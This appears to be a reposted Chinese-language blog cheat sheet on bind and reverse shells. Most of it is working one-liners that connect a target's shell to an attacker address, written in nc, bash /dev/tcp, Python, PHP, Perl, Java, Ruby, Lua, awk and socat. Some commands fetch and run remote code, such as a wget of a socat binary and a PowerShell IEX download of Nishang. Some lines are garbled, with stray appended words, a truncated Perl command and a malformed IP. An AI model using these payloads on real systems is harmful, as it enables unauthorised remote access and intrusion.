shell分爲兩種,一種是正向shell,另外一種是反向shell。若是客戶端鏈接服務器,客戶端主動鏈接服務器,就稱爲正向shell。若是客戶端鏈接服務器,服務器想要得到客戶端的shell,就稱爲反向shell。
反向shell一般在開啓了防禦措施的目標機器上,例如防火牆、端口轉發等。
(1)正向shell
輸入以下命令,監聽目標主機的4444端口 php
nc -lvp 4444 -e /bin/bash // linux nc -lvp 4444 -e c:\windows\system32\cmd.exe // windows
在本地或vps主機上鍊接目標的4444端口,便可得到目標主機的shellhtml
nc 192.168.174.130 4444
(2)反向shell
輸入以下命令,在本地或者vps主機上監聽9999端口python
nc -lvp 9999
在目標主機中輸入以下命令,鏈接vps主機的9999端口linux
nc 192.168.174.130 9999 -e /bin/sh // linux nc 192.168.174.130 9999 -e c:\windows\system32\cmd.exe // windows
正向shell:本地或vps將本身的shell傳給服務器(端口監聽在服務器上)。
反彈shell:目標機器將shell主動傳給本地或vps(端口監聽在本地vps上)。 git
4.在目標主機中沒有nc時得到反向shell
(1)Python反向shell
Python 2.7: github
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.174.130",4444));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
(2)Bash反向shell
我的感受最好用的用的方法就是使用的方法就是使用bash結合重定向方法的一句話 shell
vps:nc -lvp 4444 bash -i >& /dev/tcp/192.168.174.130/4444 0>&1
(3)PHP反向shell windows
php -r '$sock=fsockopen("192.168.174.130",4444);exec("/bin/sh -i <&3 >&3 2>&3");'
(4)Perl反向shell ruby
perl -e 'use Socket;$i="192.168.174.130";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
第二種方式(linux): bash
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
第三種方式(windwos):
perl -MIO -e '$c=new IO::Socket::INET(PeerAddr,"192.168.174.130:4444");STDIN->f
(5)Java腳本反彈shell
第一種:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","exec 5<>/dev/tcp/192.168.174.130/4444;cat <&5 | while read line; do $line 2>&5 >&5; done"}); p.waitFor();
第二種:
Runtime r = Runtime.getRuntime();
Process p = r.exec(new String[]{"/bin/bash","-c","bash -i >& /dev/tcp/192.168.174.130/4444 0>&1"}); p.waitFor();
(6)socat 反彈shell
wget -q https://github.com/andrew-d/static-binaries/raw/master/binaries/linux/x86_64/socat -O /tmp/socat chmod 755 /tmp/socat /tmp/socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:192.168.174.130:4444
(7)Ruby反彈shell
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.174.130","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
第二種方式(linux):
ruby -rsocket -e 'exit if fork;c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
第三種方式(windows):
ruby -rsocket -e 'c=TCPSocket.new("10.10.10.166","4444");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end'
(8)Lua反彈shell
lua -e "require('socket');require('os');t=socket.tcp();t:connect('192。168.174.130','4444');os.execute('/bin/sh -i <&3 >&3 2>&3');"
(9)Awk反彈shell
awk 'BEGIN{s="/inet/tcp/0/192.168.174.130/4444";for(;s|&getline c;close(c))while(c|getline)print|&s;close(s)}'
(10)exec反彈shell
exec 5<>/dev/tcp/192.168.174.130/4444 cat <&5 | while read line; do $line 2>&5 >&5; done
第二種方式:
0<&196;exec 196<>/dev/tcp/192.168.174.130/4444; sh <&196>&196 2>&196
(11)nc反彈shell:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 192.168.174.130 4444 >/tmp/f
(12)powershell反彈shell
apt-get install powshell powershell IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/samratashok/nishang/9a3c747bcf535ef82dc4c5c66aac36db47c2afde/Shells/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 192.168.174.130 -port 4444
(13)從原生的 shell 環境切換到linux的交互式 bash 環境 一般咱們nc得到的shell都是不徹底shell,須要經過Python的pty轉換爲擁有徹底命令行的徹底shell,方便咱們進行復制粘貼等操做。
python -c "import pty;pty.spawn('/bin/bash')"
參考連接:
https://www.anquanke.com/post/id/87017
https://www.cnblogs.com/sevck/p/5038203.html
https://blog.csdn.net/qiuyeyijian/article/details/102993592
http://www.javashuo.com/article/p-gnetqwes-ck.html
原文出處:https://www.cnblogs.com/micr067/p/12243860.html